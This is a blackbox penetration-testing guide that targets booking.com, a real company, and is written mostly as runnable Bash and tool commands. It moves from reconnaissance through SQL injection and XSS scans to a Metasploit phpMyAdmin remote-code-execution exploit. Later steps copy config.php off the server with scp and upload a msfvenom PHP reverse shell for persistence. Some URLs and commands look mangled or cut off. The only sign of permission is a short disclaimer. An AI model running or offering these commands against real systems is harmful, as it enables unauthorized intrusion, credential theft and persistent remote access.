Pentest_sample.md

Blackbox Penetration Testing Methodology with Sample Commands

This guide outlines a detailed blackbox pentesting methodology with Bash script samples, focusing on reconnaissance, scanning, exploitation, and post-exploitation. Tools like Nessus, Subfinder, Nmap, Nikto, SQLmap, XSStrike, and Metasploit are utilized.

---

1. Planning and Preparation

Key Steps:

• Authorization: Ensure legal permission to test booking.com.
• Environment Setup: Install all necessary tools (see Common Tools).
• Documentation: Log all steps and findings for reporting.

---

2. Reconnaissance (Information Gathering)

Passive Reconnaissance

Use OSINT techniques to gather information without actively interacting with the target.

Bash Script:

#!/bin/bash
# Passive Recon Script
echo "[*] Starting passive reconnaissance on booking.com"

# WHOIS lookup
echo "[*] Running WHOIS lookup..."
whois booking.com > whois.txt

# Subdomain enumeration
echo "[*] Enumerating subdomains using Subfinder..."
subfinder -d booking.com -o subdomains.txt

# DNS record enumeration
echo "[*] Fetching DNS records..."
dig booking.com any > dns_records.txt

# Shodan search
echo "[*] Searching Shodan..."
shodan search "booking.com" > shodan_results.txt

echo "[*] Reconnaissance complete. Results saved to respective files."

---

Active Reconnaissance

Bash Script:

#!/bin/bash
# Active Recon Script
echo "[*] Starting active reconnaissance on booking.com"

# Ping sweep
echo "[*] Performing ping sweep..."
for ip in $(seq 1 254); do
  ping -c 1 185.32.1.$ip | grep "bytes from" | cut -d " " -f 4 | tr -d ":" &
done

# Nmap scanning
echo "[*] Scanning for open ports with Nmap..."
nmap -sS -p- -T4 booking.com -oN nmap_full_scan.txt

echo "[*] Active reconnaissance complete."

---

3. Scanning and Enumeration

Network Scanning

• Tool: Nessus

1. Open Nessus GUI.
2. Create a new scan for booking.com.
3. Export results as nessus_scan_results.html.

Web Application Scanning

Nikto Command:

nikto -h https://booking.com -output nikto_scan_results.txt

---

Directory Enumeration

Bash Script:

#!/bin/bash
# Enumeration Script
echo "[*] Enumerating directories and files using Gobuster..."
gobuster dir -u https://booking.com -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -o gobuster_results.txt

echo "[*] Running SSL/TLS check with SSLScan..."
sslscan booking.com > sslscan_results.txt

---

4. Exploitation

SQL Injection

SQLmap Command:

sqlmap -u "https://booking.com/search?query=hotel" --batch --dbs

---

Cross-Site Scripting (XSS)

XSStrike Command:

xsstrike -u "https://booking.com/search?query=<script>alert('XSS')</script>" -o xsstrike_results.txt

---

Automated Exploitation

Metasploit Automation Script:

#!/bin/bash
# Metasploit Automation Script
msfconsole -q -x "
use exploit/multi/http/phpmyadmin_lfi_rce;
set RHOSTS booking.com;
set RPORT 80;
set TARGETURI /;
exploit;
"

---

5. Post-Exploitation

Privilege Escalation

LinPEAS:

wget https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh
chmod +x linpeas.sh
./linpeas.sh

---

Data Exfiltration

Example Command:

scp [email protected]:/var/www/html/config.php ./exfiltrated_config.php

---

Persistence

Reverse Shell Setup:

msfvenom -p php/meterpreter_reverse_tcp LHOST=<your_ip> LPORT=4444 -f raw > shell.php
curl -X POST -F "[email protected]" https://booking.com/upload

---

6. Reporting

• Document Findings:
  • Include results from all tools (e.g., whois.txt, nmap_full_scan.txt, nessus_scan_results.html).
• Recommendations:
  • Provide actionable fixes (e.g., WAF setup, input validation, patch management).

---

Common Tools

Tool	Purpose	Installation Command
Subfinder	Subdomain enumeration	sudo apt install subfinder
Nmap	Network scanning	sudo apt install nmap
Nikto	Web server vulnerability scanning	sudo apt install nikto
SQLmap	SQL injection testing	sudo apt install sqlmap
XSStrike	XSS vulnerability testing	pip install xsstrike
Metasploit	Exploitation framework	`curl https://raw.githubusercontent.com/rapid7/metasploit/master/configure.sh
Gobuster	Directory brute-forcing	sudo apt install gobuster
LinPEAS	Privilege escalation checker	wget https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh

---

Legal Disclaimer

This methodology is for ethical penetration testing and educational purposes only.